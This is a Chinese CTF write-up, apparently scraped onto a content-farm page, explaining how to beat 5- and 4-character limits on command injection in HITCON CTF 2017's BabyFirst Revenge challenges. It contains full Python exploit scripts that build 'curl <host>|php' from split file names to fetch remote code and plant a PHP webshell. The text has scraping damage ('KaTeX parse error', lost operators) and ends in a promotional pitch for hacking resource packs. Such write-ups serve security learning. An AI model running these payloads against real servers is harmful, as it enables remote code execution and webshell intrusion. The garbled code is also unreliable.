2026/6/1 8:47:38
网站建设
项目流程
做课程的网站,企点qq是什么,中核集团2023校园招聘信息,wordpress主题整合预估稿费#xff1a;400RMB
投稿方式#xff1a;发送邮件至linwei#360.cn#xff0c;或登陆网页版在线投稿
前言
本文主要整理如何巧用Linux命令绕过命令注入点的字符数量限制#xff0c;内容围绕HITCON CTF 2017 的两道题展开#xff0c;先讲五个字符的限制#xff0…预估稿费400RMB投稿方式发送邮件至linwei#360.cn或登陆网页版在线投稿前言本文主要整理如何巧用Linux命令绕过命令注入点的字符数量限制内容围绕HITCON CTF 2017 的两道题展开先讲五个字符的限制再讲四个字符的。在此感谢下主办方分享这么有趣的点子。热身问题的起源是 HITCON CTF 2017 的 BabyFirst Revenge 题题目的主要代码如下BabyFirst Revenge$sandbox ‘/www/sandbox/’ . md5(“orange” . $_SERVER[‘REMOTE_ADDR’]);mkdir($sandbox);chdir($sandbox);if (isset(KaTeX parse error: Undefined control sequence: \[ at position 6: \_GET\̲[̲cmd\]) str…_GET[‘cmd’]) 5) {exec($_GET[‘cmd’]);} else if (isset($_GET[‘reset’])) {exec(/bin/rm -rf ’ . $sandbox);}highlight_file(__FILE__);冷静分析目标环境根据每个访问者的IP为其在sandbox里新建一个文件夹并作为其工作目录接受并执行访问者提交的命令。访问者可随时通过提交reset来重置环境。这是个有限制无回显的后门命令长度要求小于等于5 我们会希望利用这一点撕开口子往服务器上写一个自己的木马从而扩大命令执行范围。我们所面临的最主要问题是能够执行的命令长度太短因此考虑把命令写进文件里再执行命令的功能是下载我们指定的文件。在此之前先做些知识铺垫。IP的等价表示法IP地址本质上就是一个整数只是通常用点分十进制表示以至于我们反而不太熟悉它本来的样子。只要必要我们可以用十六进制、长整数、八进制表示IP大部分情况下效果是相同的。它们之间的转换也很方便ip ‘127.0.0.1’十六进制print ‘0x’ ‘’.join([str(hex(int(i))[2:].zfill(2))for i in ip.split(‘.’)])长整数print int(‘’.join([str(hex(int(i))[2:].zfill(2))for i in ip.split(‘.’)]), 16)八进制print ‘0’ oct(int(‘’.join([str(hex(int(i))[2:].zfill(2))for i in ip.split(‘.’)]), 16))从网络下载文件利用续行符拆分命令成多行用两个字符在Linux下创建文件将命令执行结果重定向到文件利用重定向向文件追加内容删除文件ls 的文件排列顺序一句alphabetical耐人寻味不过大致顺序就是如下图所示。开始表演假设我有一台目标服务器能够访问到的公网主机为了方便我把该主机IP转换成长整数然后利用以上的知识将 curl ip A 用续行方式切割成多行写进文件 A 然后执行 sh A 就可以下载到预先放在公网主机上的文件并且覆盖本地的文件A而下载下来的文件内容是用来写PHP木马的PHP代码我再执行 php A就可以写个自己的webshell进去啦。这里比较取巧的是我的公网IP转成长整形恰好能分割成顺序的四段如果构造不出来可以试试十六进制八进制找台能用的主机等等)或者继续往下看还会有其他办法。另外其实GET也是能用的只是目标主机里没有安装所以这题不能用。接下来让我们完成最后30%的工作写个exp。-*- coding:utf8 -*-import requests as rimport hashliburl ‘http://52.199.204.34/’查询自己的IPip r.get(‘http://ipv4.icanhazip.com/’).text.strip()sandbox url ‘sandbox/’ hashlib.md5(‘orange’ ip).hexdigest() ‘/’reset url ‘?reset’cmd url ‘?cmd’build [‘cur\’,‘l \’,‘lsA’,‘rm c*’,‘rm l*’,‘105\’,‘304\’,‘301\’,‘9\’,‘lsA’,‘sh A’,‘php A’]如果目标服务器有GET这个也是可以打的build [‘GE\’,‘T\ \’,‘lsA’,‘rm G*’,‘rm T*’,‘105\’,‘304\’,‘301\’,‘9\’,‘lsA’]r.get(reset)for i in build:s r.get(cmd i)print ‘[%s]’ % s.status_code, s.urls r.get(sandbox ‘fun.php?cmduname -a’)print ‘n’ ‘[%s]’ % s.status_code, s.urlprint s.text运行效果挑战升级这篇文章有趣的地方才刚刚开始。代码只改了一个字符但趣味已经不在一个量级。一脸懵逼的我看了大佬们的wp后兴奋不已。BabyFirst Revenge v2$sandbox ‘/www/sandbox/’ . md5(“orange” . $_SERVER[‘REMOTE_ADDR’])mkdir($sandbox)chdir($sandbox)if (isset(KaTeX parse error: Undefined control sequence: \[ at position 6: \_GET\̲[̲cmd\]) st…_GET[‘cmd’]) 4) {exec($_GET[‘cmd’])} else if (isset($_GET[‘reset’])) {exec(/bin/rm -rf ’ . $sandbox)}highlight_file(__FILE__)热烈分析只有四个字符的施展空间意味着我们能做的事情少之又少但Linux本身的简洁给了我们机会。突破之旅从神奇的星号 * 开始。经过简单测试我们猜测 * 的作用相当于 ls 。这其实相当厉害我们本就基本上可以创建任意名字的短文件现在又可以一个字符就把这些文件名连起来当作命令执行这提供了很大的想象空间。还有本质上一样但现象很有趣的待会儿会用到虽然这些特技提供了一些可能性但是 ls 列出的文件顺序问题仍然是个挑战我们很难在 alphabetical 序的基础上构造出有用的命令。写入时间是我们可以控制的如果能执行 ls –t(将文件按时间排序输出)那么只要把想执行的命令分割成若干段然后逆序写入就可以随心所欲地构造出任意命令。考虑到 ls -t 本身就已经有4个字符了我们故技重施先将 ls -t f 写入文件 g 中然后执行 sh g 即可将我们分段逆序写入的命令拼接起来。在开始操作前再介绍两个会用到的命令dir 和 rev。dir在GNU文档中有下图这样的描述虽然基本上和 ls 一样但有两个好处一是开头字母是d 这使得它在 alphabetical 序中靠前二是按列输出不换行。rev这个前面出场过可以反转文件每一行的内容。实验一下开始挑战需要知道的命令和 tips 都已经介绍了下面是代码和解释#-*-coding:utf8-*-import requests as rfrom time import sleepimport randomimport hashlibtarget ‘http://52.197.41.31/’存放待下载文件的公网主机的IPshell_ip ‘xx.xx.xx.xx’本机IPyour_ip r.get(‘http://ipv4.icanhazip.com/’).text.strip()将shell_IP转换成十六进制ip ‘0x’ ‘’.join([str(hex(int(i))[2:].zfill(2))for i in shell_ip.split(‘.’)])reset target ‘?reset’cmd target ‘?cmd’sandbox target ‘sandbox/’ hashlib.md5(‘orange’ your_ip).hexdigest() ‘/’payload某些位置的可选字符pos0 random.choice(‘efgh’)pos1 random.choice(‘hkpq’)pos2 ‘g’ # 随意选择字符payload [‘dir’,创建名为 dir 的文件‘%s’ % pos0,假设pos0选择 f , 创建名为 f 的文件‘%st-’ % pos1,假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1因为alphabetical序中ts‘sl’,创建名为 sl 的文件到此处有四个文件ls 的结果会是dir f kt- sl‘*v’,前文提到 * 相当于 ls 那么这条命令等价于 dir f kt- slv 前面提到dir是不换行的所以这时会创建文件 v 并写入 f kt- sl非常奇妙这里的文件名是 v 只能是v 没有可选字符‘rev’,创建名为 rev 的文件这时当前目录下 ls 的结果是 dir f kt- rev sl v‘*v%s’ % pos2,魔法发生在这里 *v 相当于 rev v * 看作通配符。前文也提过了体会一下。这时pos2文件也就是 g 文件内容是文件v内容的反转 ls -tk f续行分割 curl 0x11223344|php 并逆序写入‘p’,‘ph\’,‘|\’,‘%s\’ % ip[8:10],‘%s\’ % ip[6:8],‘%s\’ % ip[4:6],‘%s\’ % ip[2:4],‘%s\’ % ip[0:2],‘ \’,‘rl\’,‘cu\’,sh ’ pos2,sh g ;g 的内容是 ls -tk f 那么就会把逆序的命令反转回来虽然 f 的文件头部会有杂质但不影响有效命令的执行sh ’ pos0,sh f 执行curl命令下载文件写入木马。]s r.get(reset)for i in payload:assert len(i) 4s r.get(cmd i)print ‘[%d]’ % s.status_code, s.urlsleep(0.1)s r.get(sandbox ‘fun.php?cmduname -a’)print ‘[%d]’ % s.status_code, s.urlprint s.text运行效果后记我相信除了文中给出的方法外一定还有一些奇招大家可以多多探索可以围观HITCON CTF 2107的官方解答区还可以学习下Phithon师傅的《小密圈里的那些奇技淫巧》中与本文主题相关的部分。最后如果关于文章内容有任何建议或疑惑你可以在https://findneo.github.io/ 联系本文作者。感谢阅读o/网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》需要点击下方链接即可前往获取读者福利 |CSDN大礼包《网络安全入门进阶学习资源包》免费分享安全链接放心点击1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。所有资料共282G朋友们如果有需要全套《网络安全入门进阶学习资源包》可以扫描下方二维码或链接免费领取~读者福利 |CSDN大礼包《网络安全入门进阶学习资源包》免费分享安全链接放心点击